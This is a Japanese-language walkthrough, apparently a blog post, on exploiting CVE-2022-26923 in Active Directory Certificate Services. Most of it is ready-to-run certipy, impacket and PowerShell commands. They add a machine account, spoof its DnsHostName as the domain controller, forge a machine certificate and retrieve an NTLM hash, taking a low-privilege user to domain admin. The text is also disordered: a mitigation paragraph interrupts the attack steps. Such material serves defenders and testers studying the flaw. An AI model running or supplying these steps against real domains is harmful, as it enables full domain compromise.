
この脆弱性により、低権限ユーザーが、Active Directory 証明書サービス (AD CS) サーバーの役割がインストールされたデフォルトの Active Directory 環境において、権限をドメイン管理者に昇格させることが可能でした。
エクスプロイトは Oliver Lyak (ly4k_) によって Python で開発され、アドバイザリの前(後ではなく)に公開されました。これは概念実証として宣言されています。エクスプロイトは research.ifcr.dk からダウンロード可能です。
出典 :
新たに明らかになった Active Directory ドメインの権限昇格の欠陥は、まだ実環境では悪用されていませんが、高い CVSS スコア 8.8 は、侵害されたシステムに対して攻撃者が証明書の問題を悪用することを可能にする高いリスクを示しています。CVE-2022–26923 は、DNS に登録されているコンピュータ名を指定する DnsHostName 属性を操作し、攻撃者が AD 証明書サービスから証明書を取得できるようにし、権限昇格につながる可能性があります。
- Username: user_test
- Password: Password123#
- Domain: my.domain.com
再現するには以下が必要です:
- 攻撃マシンに impacket と certipy がインストールされていること。
- https://github.com/SecureAuthCorp/impacket
- https://github.com/ly4k/Certipy
- 低権限のユーザーを侵害していること。
- システムが脆弱であるのは、ドメイン上で Active Directory 証明書サービスが実行されている場合のみです。
まず、低権限の AD ユーザー (Username=user_test Password=Password123#) に対して、証明書テンプレート User を使用して証明書を生成しましょう:
certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
証明書が有効で、Certipy を介した Kerberos 認証に使用できることを確認しましょう:
certipy auth -pfx user_test.pfx
Impacket を使用して仮想コンピュータをドメインに追加する
addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
# my.domain.com/user_test:Password123# - We need to provide valid AD credentials in order to add a new computer.
# method - The method of authentication. LDAPS will interface with the LDAP service on the domain controller.
# computer-name - The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.
# computer-pass - The password associated with our computer's machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.
作成した新しいコンピュータの証明書を生成しましょう。このコンピュータのマシンアカウントを使用するには、名前の末尾に「$」を追加する必要があります:
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
侵害されたマシン上で、DNS ホスト名と SPN 属性を更新する:
PS C:\Users\user_test> Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
CVE-2022–26923 の緩和策と保護対策として、Microsoft は AD 証明書サービスを実行しているすべてのサーバーと、証明書ベースの認証を運用している Windows ドメインコントローラを、最新の 5 月 10 日版に更新することを強く推奨しています。
現在の SPN 属性を削除する
PS C:\Users\user_test> Set-ADComputer NEW_PC -ServicePrincipalName @{}
DNS ホスト名属性を DC のものに設定してみる:
PS C:\Users\user_test> Set-ADComputer NEW_PC -DnsHostName HOSTANME.my.domain.com
攻撃マシン上で、悪意のある証明書を偽造する
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
この証明書が機能し、NTLM ハッシュを返すことを確認する
certipy auth -pfx hostname.pfx